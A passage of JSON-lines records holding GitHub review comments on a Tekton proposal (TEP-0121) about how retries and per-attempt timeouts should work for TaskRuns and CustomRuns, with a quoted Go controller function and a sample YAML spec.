"teps/0121-unified-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "XinruZhang", "body": "Similarly, I think this discussion is also related to [this comment thread](https://github.com/tektoncd/community/pull/816#discussion_r976907440) because IMO we need the `retriesStatus` in pipelineController to decide whether the retries is exhausted, let's move our discussions there.", "comment_id": 977644948, "created_at": "2022-09-22T13:17:53Z", "line": null, "path": "teps/0121-unified-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "XinruZhang", "body": "That's true, thanks for the comment! removed this line.", "comment_id": 977645404, "created_at": "2022-09-22T13:18:18Z", "line": null, "path": "teps/0121-unified-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "XinruZhang", "body": "Sounds great! Added.", "comment_id": 977645799, "created_at": "2022-09-22T13:18:36Z", "line": null, "path": "teps/0121-unified-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "XinruZhang", "body": "Hi Lee @lbernick, I'd like to centralized several other related discussions here:\r\n\r\n[Discussion 1](https://github.com/tektoncd/community/pull/816#discussion_r976908878)\r\n> I'm still not completely convinced that there's a use case for taskruns to retry on their own-- nobody has requested this feature AFAIK and I'd imagine that most taskruns people want to retry are part of a pipelinerun. However it does seem reasonable that some people might want to retry the taskruns listed here.\r\n\r\n[Discussion 2](https://github.com/tektoncd/community/pull/816#discussion_r977083099)\r\n> With the proposed option, I think we should strongly consider removing retriesStatus from CustomRun status (while still keeping retries in the spec). this will allow customRun controllers to implement retries however they want and prevent the pipelinerun controller from making assumptions about how retries are implemented.\r\n\r\n", "comment_id": 977649494, "created_at": "2022-09-22T13:21:50Z", "line": null, "path": "teps/0121-unified-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "lbernick", "body": "sorry to continue this thread-- I think this is actually a separate point. My idea here was that the pipelinerun controller can determine whether a run is running, failed, or succeeded based on its status.conditions. If we want to hand retries responsibility entirely off to run controllers to implement however they would like, why require them to update status.retriesstatus in a certain way? The run controller can keep track of retries in status.extrafields.", "comment_id": 977656254, "created_at": "2022-09-22T13:27:41Z", "line": null, "path": "teps/0121-unified-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "lbernick", "body": "Thanks Xinru for your thorough responses here!\r\n\r\nMy concern is mainly about run controllers. I think implementing retries in TaskRuns is a reasonable choice for the reasons you have pointed out in this thread.\r\n\r\nThe request for separation here was mainly a request for clarification in the TEP, not a difference in implementation.\r\n\r\nI'd like to clarify in the TEP that if we have retries in customrun.spec, we expect all customrun controllers (which we don't control) to implement support for retries (or fail if retries are specified or something like that). This is different than with TaskRuns, because there's only one TaskRun controller which we control, meaning we can easily support retries for all instances of TaskRuns. Therefore, I think it's OK to say that we want to implement retries in the TaskRun controller because some TaskRun instances have a need to retry, but not OK to say that we expect all CustomRun controllers to implement retries because some types of CustomRuns need specialized retry logic. My understanding of the agreement in pipelines WG was that we do actually believe that it's necessary for all CustomRun controllers to support retries, so I wanted to make sure that this is clear in the TEP.\r\n\r\nThe reason I want to make sure this is clear is because I don't want to introduce new fields in the future to customrun.spec because some custom tasks need them (this seems like how podTemplate ended up in v1alpha1.Run spec).\r\n\r\nHappy to clarify further or chat offline if helpful! I appreciate your work on this.", "comment_id": 977667532, "created_at": "2022-09-22T13:37:33Z", "line": null, "path": "teps/0121-unified-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "lbernick", "body": "I think you're right that it does matter. I think we might want to make the timeout change in v1beta1 only (but I could be convinced otherwise) because it will make migration easier-- custom run controllers will need to be updated to support v1beta1 customruns so changes can be made then.\r\n\r\nre: guidance for retries status: maybe worth discussing in the other thread whether we truly need retriesstatus? Either way, I don't think our guidance for retries status is changing, just timeouts per retry, but please correct me if I'm wrong", "comment_id": 977673826, "created_at": "2022-09-22T13:42:47Z", "line": null, "path": "teps/0121-unified-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "XinruZhang", "body": "Thanks for the detailed reply Lee @lbernick. Yeah that's fair. I removed the use cases here to avoid misleading readers that we want the retries for CustomRun only because some of cutomruns need. Instead, we expect all custom runs to implement it.", "comment_id": 977704169, "created_at": "2022-09-22T14:07:58Z", "line": null, "path": "teps/0121-unified-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "XinruZhang", "body": "I want to make the timeout change because under the current implementation, if customers follow the guidance we have as of today --specifying timeout for all retry attempts, it won't work as they expect anyway.\r\n\r\nSay the Run timed out before `retries` is exhausted, meaning len(retriesStatus) < `retries`. Pipeline Controller will treat the Run as `Running` forever:\r\n\r\n```\r\n// isFailure returns true only if the run has failed and will not be retried.\r\n// If the PipelineTask has a Matrix, isFailure returns true if any run has failed (no remaining retries)\r\n// and all other runs are done.\r\nfunc (t ResolvedPipelineTask) isFailure() bool {\r\n\tif t.isCancelledForTimeOut() {\r\n\t\treturn true\r\n\t}\r\n\tif t.isCancelled() {\r\n\t\treturn true\r\n\t}\r\n\tif t.isSuccessful() {\r\n\t\treturn false\r\n\t}\r\n\tvar c *apis.Condition\r\n\tvar isDone bool\r\n\r\n\tswitch {\r\n\tcase t.IsCustomTask() && t.IsMatrixed():\r\n\t\tif len(t.Runs) == 0 {\r\n\t\t\treturn false\r\n\t\t}\r\n\t\tisDone = true\r\n\t\tatLeastOneFailed := false\r\n\t\tfor _, run := range t.Runs {\r\n\t\t\tisDone = isDone && run.IsDone()\r\n\t\t\trunFailed := run.Status.GetCondition(apis.ConditionSucceeded).IsFalse() && !t.hasRemainingRetries()\r\n\t\t\tatLeastOneFailed = atLeastOneFailed || runFailed\r\n\t\t}\r\n\t\treturn atLeastOneFailed && isDone\r\n\tcase t.IsCustomTask():\r\n\t\tif t.Run == nil {\r\n\t\t\treturn false\r\n\t\t}\r\n\t\tc = t.Run.Status.GetCondition(apis.ConditionSucceeded)\r\n\t\tisDone = t.Run.IsDone()\r\n\tcase t.IsMatrixed():\r\n\t\tif len(t.TaskRuns) == 0 {\r\n\t\t\treturn false\r\n\t\t}\r\n\t\tisDone = true\r\n\t\tatLeastOneFailed := false\r\n\t\tfor _, taskRun := range t.TaskRuns {\r\n\t\t\tisDone = isDone && taskRun.IsDone()\r\n\t\t\ttaskRunFailed := taskRun.Status.GetCondition(apis.ConditionSucceeded).IsFalse() && !t.hasRemainingRetries()\r\n\t\t\tatLeastOneFailed = atLeastOneFailed || taskRunFailed\r\n\t\t}\r\n\t\treturn atLeastOneFailed && isDone\r\n\tdefault:\r\n\t\tif t.TaskRun == nil {\r\n\t\t\treturn false\r\n\t\t}\r\n\t\tc = t.TaskRun.Status.GetCondition(apis.ConditionSucceeded)\r\n\t\tisDone = t.TaskRun.IsDone()\r\n\t}\r\n\treturn isDone && c.IsFalse() && !t.hasRemainingRetries()\r\n}\r\n```\r\n", "comment_id": 977722312, "created_at": "2022-09-22T14:21:59Z", "line": null, "path": "teps/0121-unified-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "XinruZhang", "body": "Updated, thanks!", "comment_id": 977722665, "created_at": "2022-09-22T14:22:16Z", "line": null, "path": "teps/0121-unified-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "XinruZhang", "body": "No problem at all. I'm wondering how does pipelinerun controller determine the run finishes: like what if it failed (the condition is marked as failed), and would be retried in the next reconciliation loop?", "comment_id": 977728320, "created_at": "2022-09-22T14:26:57Z", "line": null, "path": "teps/0121-unified-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "lbernick", "body": "I think we'd have to clarify our run controller guidance not to update the ConditionSucceeded until the run is finished running, including exhausting all retries (i.e. most runs would probably implement retries differently than how they're currently implemented on taskrun, but that's OK).", "comment_id": 977733322, "created_at": "2022-09-22T14:31:05Z", "line": null, "path": "teps/0121-unified-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "lbernick", "body": "ah ok thanks for the explanation! I am not sure tbh whether the best approach is to change the PR reconciler code or to ask run controllers to update \ud83e\udd14 ", "comment_id": 977735735, "created_at": "2022-09-22T14:33:06Z", "line": null, "path": "teps/0121-unified-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "lbernick", "body": "tahnks! could you point me to the changes, I'm not seeing them?", "comment_id": 977737751, "created_at": "2022-09-22T14:34:45Z", "line": null, "path": "teps/0121-unified-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "XinruZhang", "body": "Oh didn't push it XD, updated.", "comment_id": 977745354, "created_at": "2022-09-22T14:41:05Z", "line": null, "path": "teps/0121-unified-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "lbernick", "body": "thanks! sorry, just one more nitpick: in the alternative solution, taskruns can't retry on their own, but custom runs can retry on their own no matter what we do.", "comment_id": 977748268, "created_at": "2022-09-22T14:43:28Z", "line": null, "path": "teps/0121-unified-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "XinruZhang", "body": "Indeed. @pritidesai @abayer I'd like to hear more if we should keep the `retriesStatus` because it constraints the implementation details for CustomRun here. As @lbernick suggested, we can guide Customers to update `ConditionSucceeded` only after retries is exhausted.", "comment_id": 977756849, "created_at": "2022-09-22T14:50:40Z", "line": null, "path": "teps/0121-unified-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "XinruZhang", "body": "Oh right. updated.", "comment_id": 977764916, "created_at": "2022-09-22T14:57:16Z", "line": null, "path": "teps/0121-unified-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "lbernick", "body": "thanks! looks good.", "comment_id": 977766689, "created_at": "2022-09-22T14:58:47Z", "line": null, "path": "teps/0121-unified-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "pritidesai", "body": "What is the use case of being able to retry `taskRun` independently? What is the driving factor for creating just a `taskRun` outside of `pipeline`? I am trying to recollect and gather any such use case. I have hardly seen a requirement of creating just a `taskRun`. I can think that it could be beneficial for testing purpose, but if I am eventually making that task part of a pipeline, its easier to create a pipeline to begin with. Do we know if our catalog is using `taskRun` for their testing purpose?", "comment_id": 981885053, "created_at": "2022-09-28T02:34:07Z", "line": null, "path": "teps/0121-unified-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "XinruZhang", "body": "Thanks for the comment Priti!\r\n\r\nWe do have standalone TaskRuns use cases:\r\n- https://github.com/tektoncd/catalog/tree/main/task/send-to-webhook-slack/0.1\r\n- https://github.com/tektoncd/catalog/tree/main/task/sendmail/0.1\r\n\r\nIt sounds weird to me If we believe all custom runs need to support the `retries` field while we don't necessarily need to support retries for all Task Runs.\r\n\r\nIMHO the reason why we didn't see a lot of use cases (i.e. feature request iessues) is creating feature requests is not an effortless action. People may not bother to create feature requests for stand-alone TaskRuns potentially because they can actually write scripts to retry them. By supporting retries natively, we can group their retry attempts all together, saving them times on writing scripts etc.\r\n\r\nTransient errors are everywhere especially in the Cloud Environment, services can be down for a short period of time making the entire TaskRun fails. I truly believe retry is something necessary for TaskRuns to avoid flaky errors.\r\n\r\nhttps://learn.microsoft.com/en-us/azure/architecture/best-practices/transient-faults#why-do-transient-faults-occur-in-the-cloud explained how common the transient errors are in the Cloud env. It deepened my understanding about the nature of Cloud Services and how to make things more stable. Hope it to be helpful.", "comment_id": 982481314, "created_at": "2022-09-28T14:28:24Z", "line": null, "path": "teps/0121-unified-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "pritidesai", "body": "Thank you @XinruZhang for this detailed comparison with an industry standard.\r\n\r\nTekton pipelines do support [retries](https://github.com/tektoncd/pipeline/blob/main/docs/pipelines.md#using-the-retries-field) when a task is part of a pipeline. The task can be a native Tekton task or a custom task.\r\n\r\nThis table does not represent apples to apples comparison. For example, Argo Workflow is not equivalent to Tekton `task` but its more or less similar to `pipeline` or even Tekton `workflow`. This proposal is focused on independent `taskRun` and `customRun` CRDs. We need to identify and document the list of resources in the industry which are equivalent to a `task` or `taskRun` in Tekton.\r\n\r\nThis table is misleading and may confuse users while comparing Tekton with the other CI/CD systems.\r\n\r\n@jerop and I had documented this kind of comparison last year (which might be outdated at this point), but something for your reference:\r\n\r\n![Screen Shot 2022-09-28 at 10 15 36 AM](https://user-images.githubusercontent.com/206285/192846900-4dbcd083-e78b-4c74-ac55-2debc902ee74.png)\r\n\r\n", "comment_id": 982672386, "created_at": "2022-09-28T17:16:20Z", "line": null, "path": "teps/0121-unified-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "XinruZhang", "body": "Thanks for the review @pritidesai and the comparison work you and Jerop did!\r\n\r\nThis related work section is written for comparing the general retry strategy (instead of demonstrating that retry is a neccesary functionality in TaskRun), especially about if we should set Timeout for all retry attempts or each retry attempt. I updated the Related Work section, hopefuly the confusion is alleviated.\r\n\r\nThanks for the concept comparison! It seems like there are no concepts equivalent to Task, becuase in Tekton, PipelineRun, TaskRun and CustomRun can all run on their own, while in other CI/CD systems, they only support the top level Pipeline/Workflow to run on its own. So it's hard for us to find an industry standard to follow to decide if we want to support retry in TaskRun.\r\n", "comment_id": 982829250, "created_at": "2022-09-28T20:24:01Z", "line": null, "path": "teps/0121-unified-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "pritidesai", "body": "> If we want to hand retries responsibility entirely off to run controllers to implement however they would like, why require them to update status.retriesstatus in a certain way? The run controller can keep track of retries in status.extrafields.\r\n\r\n`status.retriesStatus` is a natural field to store status of each execution. It is part of an implicit contract between tekton controller and custom controller. `status.extrafields` is a very generic and not ideal for storing such key information.\r\n\r\nWhat is the motivation behind this request?", "comment_id": 982892277, "created_at": "2022-09-28T21:52:53Z", "line": null, "path": "teps/0121-unified-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "lbernick", "body": "I made this request because I think we want to minimize the implicit contract between the tekton controller and custom controller as much as possible. Part of the motivation for adding retries to custom tasks is to allow them to implement retries in whatever way makes the most sense, and we take away some of that flexibility if we require them to update retries status in a certain way. ", "comment_id": 983555638, "created_at": "2022-09-29T13:38:04Z", "line": null, "path": "teps/0121-unified-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "XinruZhang", "body": "Created an issue https://github.com/tektoncd/pipeline/issues/5582 to track the effort around this behavior deviation.", "comment_id": 983702796, "created_at": "2022-09-29T15:33:38Z", "line": null, "path": "teps/0121-unified-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "afrittoli", "body": "@XinruZhang @pritidesai we do have use cases where we run tasks by themselves in Tekton CI, typically to interact with GitHub, however, two things are worth noticing:\r\n\r\n- if a standalone task required retries, that would be possible today by using a single-task pipeline\r\n- we are in the process of replacing those with custom tasks because when the only thing done by a task is calling out to an API, running a Pod introduces overhead, and a custom task controller can handle the failure/retry logic much better anyways\r\n\r\n> IMHO the reason why we didn't see a lot of use cases (i.e. feature request iessues) is creating feature requests is not an effortless action. People may not bother to create feature requests for stand-alone TaskRuns potentially because they can actually write scripts to retry them. By supporting retries natively, we can group their retry attempts all together, saving them times on writing scripts etc.\r\n\r\nI'm not sure I fully agree with this. Retrying a multi-step `Task` is not trivial.\r\nCreating a feature request is not effortless, but I don't think the bar is too high if the feature solves an actual pain point.", "comment_id": 985652063, "created_at": "2022-10-03T10:57:48Z", "line": null, "path": "teps/0121-unified-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "afrittoli", "body": "Thanks for the good discussion on this topic. \r\n\r\nI definitely agree that we need to have a clear separation between the `PipelineRun` controller and the `TaskRun` / `CustomRun` controller, and what @lbernick highlighted in https://github.com/tektoncd/pipeline/issues/5248 - i.e. that the `TaskRun` reconciler will use the length of its `RetriesStatus` to determine what to name the pod, is not great. \r\n\r\nAbout `RetriesStatus` specifically, the fact that `RetriesStatus` exists in a `TaskRun` is not ideal, because that's not something that the `TaskRun` controller should be concerned with, in the current implementation. \r\nSimilarly, we should not need `RetriesStatus` in `CustomRuns`:\r\n- if retries are implemented by the `PipelineRun` controller, it should keep in the `PipelineRun` this status info\r\n- if retries are implemented by the `CustomRun` controller, it's not something that the `PipelineRun` controller needs to know about. If the `CustomRun` controller needs to store data in the status, it can do so, but it doesn't have to be a standard location as the `PipelineRun` controller will not use it.\r\n\r\nMy preferred overall setup would be:\r\n- Focus on `PipelineRun` driven retries. Advantages:\r\n - Users have a consistent interface for retries\r\n - Custom task controller developers get a default implementation of retries for free (by embedding in a pipeline)\r\n - \"Pipelines in pipeline\" can be retried the same as the other resources\r\n - No changes to the `PipelineRun` API (not in the `spec` at least)\r\n - No changes to the `TaskRun` API (not in the `spec` at least)\r\n- Remove `RetriesStatus` from `TaskRuns` and `CustomRuns`\r\n- Improve the retries of `TaskRuns` by using separate `TaskRuns` for each retry \r\n - This means we can see the logs of failed retries too\r\n - Dashboard and CLI may need extra work for this\r\n- Deprecate `spec.retries` in `Run`", "comment_id": 985763039, "created_at": "2022-10-03T13:09:24Z", "line": null, "path": "teps/0121-unified-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "XinruZhang", "body": "Thanks for the detailed comment.\r\n\r\nFor the advantages of the your poposed overall setup:\r\n\r\n> Users have a consistent interface for retries\r\n\r\n- For RuntimeObject driven retries, the interface is also consistent -- we pass PipelineTask.retries to the `retries` field in child runtime objects.\r\n\r\n> Custom task controller developers get a default implementation of retries for free (by embedding in a pipeline)\r\n\r\n- This harms the flexibility of Custom Task -- what if a custom task controller wants to have different retry stragety/policy, instead of just recreating on failure. Most CI/CD systems have the configurable retry stragety. See the [related work](https://github.com/tektoncd/community/blob/6d02bac0ede7758519d4f36e82d835b7252e63fe/teps/0121-unified-retries-for-taskruns-and-customruns.md#related-work).\r\n\r\n> \"Pipelines in pipeline\" can be retried the same as the other resources\r\n\r\n- This is an area that I'm not quite sure what needs to be done, and\r\n- I'm not sure if this discussion should be part of this TEP.\r\n\r\n> No changes to the PipelineRun API (not in the spec at least)\r\n\r\n- For RuntimeObject driven retries, no changes to the PipelineRun API neither.\r\n\r\n> No changes to the TaskRun API (not in the spec at least)\r\n\r\n- For RuntimeObject driven retries, indeed, it adds an extra API field `retries`, but this would be an addictive change rather than backward-incompatible change, wdyt?\r\n\r\nI believe we should leave the retry implementation to the CustomRun controller, pipelinerun controller shouldn't touch it at all -- it shouldn't rely on the retriesStatus to decide whether the CustomRun is finished or not etc. \r\n\r\nI totally agree that we can get rid of retriesStatus for both CustomRun and TaskRun. For TaskRun, instead of updating retriesStatus, we can create a new TaskRun in taskrun controller for each retry attempt.\r\n\r\nTherefore, having TaskRun controller implements the retry can have most of the advantages you mentiond plus\r\n- taskrun retry on its own\r\n- we don't need to deprecate `retries` in Run\r\n\r\n", "comment_id": 985855785, "created_at": "2022-10-03T14:29:39Z", "line": null, "path": "teps/0121-unified-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "XinruZhang", "body": "Thanks for all of the great discussion in the WG meeting Andrea @afrittoli!\r\n\r\nYeah as you mentioned, it doesn't neccesarrily harm the flexibility of CustomTask. The more accurate way to state it is it harms the UX: say a CustomRun controller implemented its own retry strategy, for the users of the Custom Task, they would be confused about which `retries` field to use (`PipelineTask.retries` or `PipelineTask.TaskSpec.SpecializedRetries`): \r\n\r\n```\r\napiVersion: tekton.dev/v1beta1\r\nkind: PipelineRun\r\nmetadata:\r\n generateName: pr-custom-task-\r\nspec:\r\n pipelineSpec:\r\n tasks:\r\n - name: wait\r\n timeout: \"1s\"\r\n retries: 1 // The common retries field in the PipelineTask\r\n taskSpec:\r\n specialized-retries: 5 // Specialized retries field in Custom Task Spec.\r\n other-spec-fields: foobar\r\n```\r\n\r\nBesides, would you mind pointing out which field we need to update in PipelineRun API spec?", "comment_id": 986118630, "created_at": "2022-10-03T18:53:00Z", "line": null, "path": "teps/0121-unified-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "XinruZhang", "body": "Thanks Andrea for the use cases. That's true, users can always write a sinle-task pipeline in order to retry a Task. Therefore making TaskRun retriable on its own should not be the reason to introduce the new `retries` field for TaskRun.", "comment_id": 988027107, "created_at": "2022-10-05T14:58:54Z", "line": null, "path": "teps/0121-unified-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "lbernick", "body": "```suggestion\r\n- `custom-run-example` will be timed out after 10s\r\n```", "comment_id": 988041215, "created_at": "2022-10-05T15:08:55Z", "line": null, "path": "teps/0121-refine-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "lbernick", "body": "I don't think it would make sense for a TaskRun to create a new TaskRun to retry-- if we implement retries in TaskRun it would probably make sense for TaskRun to still have retriesStatus. I think option 1.b here is actually just deprecating retriesStatus in CustomRun.", "comment_id": 988045112, "created_at": "2022-10-05T15:12:18Z", "line": null, "path": "teps/0121-refine-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "lbernick", "body": "This is a bit confusing since with either solution we have 2 pods (just not 2 taskruns). Maybe a better way to word this would be that with this solution, we need to implement a strategy for clients to get the previous pod and read its logs?", "comment_id": 988048255, "created_at": "2022-10-05T15:15:15Z", "line": null, "path": "teps/0121-refine-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "lbernick", "body": "```suggestion\r\n- Remove `retries` from `CustomRun` spec\r\n```", "comment_id": 988049504, "created_at": "2022-10-05T15:16:25Z", "line": null, "path": "teps/0121-refine-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "lbernick", "body": "another concern is that if a custom run controller doesn't implement retries (such as the wait task), this results in a poor user experience since the pipelinerun controller passes retries directly to the custom run and expects the custom run controller to implement it.", "comment_id": 988051844, "created_at": "2022-10-05T15:18:42Z", "line": 147, "path": "teps/0121-refine-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "XinruZhang", "body": "Thanks for the comment Lee, added it as a third option for discussion.", "comment_id": 988138196, "created_at": "2022-10-05T16:48:04Z", "line": null, "path": "teps/0121-refine-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "XinruZhang", "body": "Thanks! Done.", "comment_id": 988139178, "created_at": "2022-10-05T16:49:12Z", "line": null, "path": "teps/0121-refine-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "XinruZhang", "body": "True, I thought the pod would be recycled. Thanks for pointing this out!", "comment_id": 988190622, "created_at": "2022-10-05T17:50:01Z", "line": null, "path": "teps/0121-refine-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "XinruZhang", "body": "Done, thanks!", "comment_id": 988191386, "created_at": "2022-10-05T17:50:51Z", "line": null, "path": "teps/0121-refine-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "XinruZhang", "body": "Sure, added.", "comment_id": 988204075, "created_at": "2022-10-05T18:06:30Z", "line": 147, "path": "teps/0121-refine-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "jerop", "body": "it'd be helpful to summarize what the difference is, so that readers don't have to dig into the issue, this is a suggested update but feel free to reword:\r\n\r\n```suggestion\r\n - For CustomRun, [the document](https://github.com/tektoncd/community/blob/33ca1d5254a405b1d479f2350443f6c7979a0b72/teps/0069-support-retries-for-custom-task-in-a-pipeline.md#proposal) instructs developers to **set `Timeout` for all retry attempts**. While the actual implementation is **set for each retry attempt**. See the [ref](https://github.com/tektoncd/pipeline/issues/5582).\r\n```", "comment_id": 992461389, "created_at": "2022-10-11T15:14:52Z", "line": null, "path": "teps/0121-refine-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "jerop", "body": "nit: helps with markdown formatting\r\n\r\n```suggestion\r\n```yaml\r\n```", "comment_id": 992463261, "created_at": "2022-10-11T15:16:12Z", "line": null, "path": "teps/0121-refine-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "jerop", "body": "may be useful to note that if they implement retries for *each* attempt, like in taskruns instead of the documented guidance, then the `custom-run-example` would work similarly to the `custom-run-example`\r\n", "comment_id": 992469105, "created_at": "2022-10-11T15:21:21Z", "line": null, "path": "teps/0121-refine-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "jerop", "body": "it'd be great to point out that standalone taskruns are used in tekton ci, as @afrittoli mentioned in https://github.com/tektoncd/community/pull/816#discussion_r985652063", "comment_id": 992471849, "created_at": "2022-10-11T15:23:44Z", "line": null, "path": "teps/0121-refine-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "pritidesai", "body": "Please add this statement as a goal in addition to saying that we are trying to align retries:\r\n\r\n```\r\nset `Timeout` for each retry attempt\r\n```", "comment_id": 992723066, "created_at": "2022-10-11T19:53:52Z", "line": null, "path": "teps/0121-refine-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "pritidesai", "body": "Sorry @XinruZhang I am nitpicking because I am having hard time understanding some of the references and feel they are intermixed - I think we have four types - independent taskRun, taskRun as part of a pipeline, independent customRun, and customRun as part of a pipeline.\r\n\r\n This `taskRun` refers to `taskRun` created for a `pipelineTask`, right? `TaskRun` CRD specification (standalone TaskRun) does not support retries (which is being proposed as part of this TEP).\r\n\r\nToday, a `timeout` specified as part of the `TaskRun` CRD specification applies to the one and only attempt. There are no multiple attempts supported for an independent TaskRun and hence this statement does not hold true in the context of independent taskRun CRD but applies to a taskRun when its part of a pipeline.\r\n", "comment_id": 993858721, "created_at": "2022-10-12T20:18:00Z", "line": null, "path": "teps/0121-refine-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "pritidesai", "body": "Suggested goal:\r\n\r\n```\r\nAll four types of runtimes, taskRuns (independent taskRun and taskRun part of a pipeline) and customRun (independent customRun and customRun part of a pipeline) supports retry in which the `timeout` (if specified) is set for each attempt including no timeout (timeout set to 0).\r\n```", "comment_id": 993923685, "created_at": "2022-10-12T21:46:41Z", "line": null, "path": "teps/0121-refine-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "pritidesai", "body": "Suggested non-goal:\r\n\r\n```\r\nThe collective timeout for `tasks`, collective timeout for `finally` tasks, and the `timeout` at the `pipeline` level does not change.\r\n```\r\n", "comment_id": 993927647, "created_at": "2022-10-12T21:53:16Z", "line": 44, "path": "teps/0121-refine-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "XinruZhang", "body": "Great suggestion. Thanks Jerop!", "comment_id": 996067930, "created_at": "2022-10-14T19:21:27Z", "line": null, "path": "teps/0121-refine-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "XinruZhang", "body": "SG, added!", "comment_id": 996068350, "created_at": "2022-10-14T19:22:10Z", "line": null, "path": "teps/0121-refine-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "XinruZhang", "body": "Updated, thx!", "comment_id": 996068638, "created_at": "2022-10-14T19:22:38Z", "line": null, "path": "teps/0121-refine-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "XinruZhang", "body": "Thanks for the suggestion Priti, Updated!", "comment_id": 996068885, "created_at": "2022-10-14T19:22:57Z", "line": null, "path": "teps/0121-refine-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "XinruZhang", "body": "Sorry for the confusion! Yes I'm referring to TaskRun created for a pipelineTask here. I updated some references to differentiate the concepts. Thanks!", "comment_id": 996081203, "created_at": "2022-10-14T19:40:53Z", "line": null, "path": "teps/0121-refine-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "XinruZhang", "body": "SG, updated!", "comment_id": 996082263, "created_at": "2022-10-14T19:42:18Z", "line": null, "path": "teps/0121-refine-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "XinruZhang", "body": "Thanks! done.", "comment_id": 996082393, "created_at": "2022-10-14T19:42:29Z", "line": 44, "path": "teps/0121-refine-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "lbernick", "body": "this reads more like a proposal than a goal-- this paragraph sounds like we have decided to support retries for all of these objects independently but this is still under discussion.", "comment_id": 997383824, "created_at": "2022-10-17T18:29:18Z", "line": null, "path": "teps/0121-refine-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "XinruZhang", "body": "Thanks for pointing this out Lee, right, rephrased to clarify the goal -- \"Timeout\" is for each retry attempt.", "comment_id": 997401019, "created_at": "2022-10-17T18:49:42Z", "line": null, "path": "teps/0121-refine-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "pritidesai", "body": "For independent `taskRun`, the users might have to query metadata (labels and annotations) to get the list of `taskRun` CRDs for each retry attempt. Let's say there is a `taskRun` which was retried five times, each five `taskRuns` and `pod` will have a label saying it was created for a particular instance.\r\n\r\nFor the `taskRun` created for a `pipelineTask`, how do we retrieve the collection of `taskRuns` for each attempt? Using the same metadata?\r\n\r\n`taskRun` with `retriesStatus` works as a master with a list of children as each attempt. It hides complexity of querying a list of taskRuns for a given `pipelineTask` and checking the status of each attempted `taskRun`.", "comment_id": 1000020777, "created_at": "2022-10-19T23:43:18Z", "line": null, "path": "teps/0121-refine-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "pritidesai", "body": "This is not a concern but it's a design decision. If an author has implemented customRun controller to not 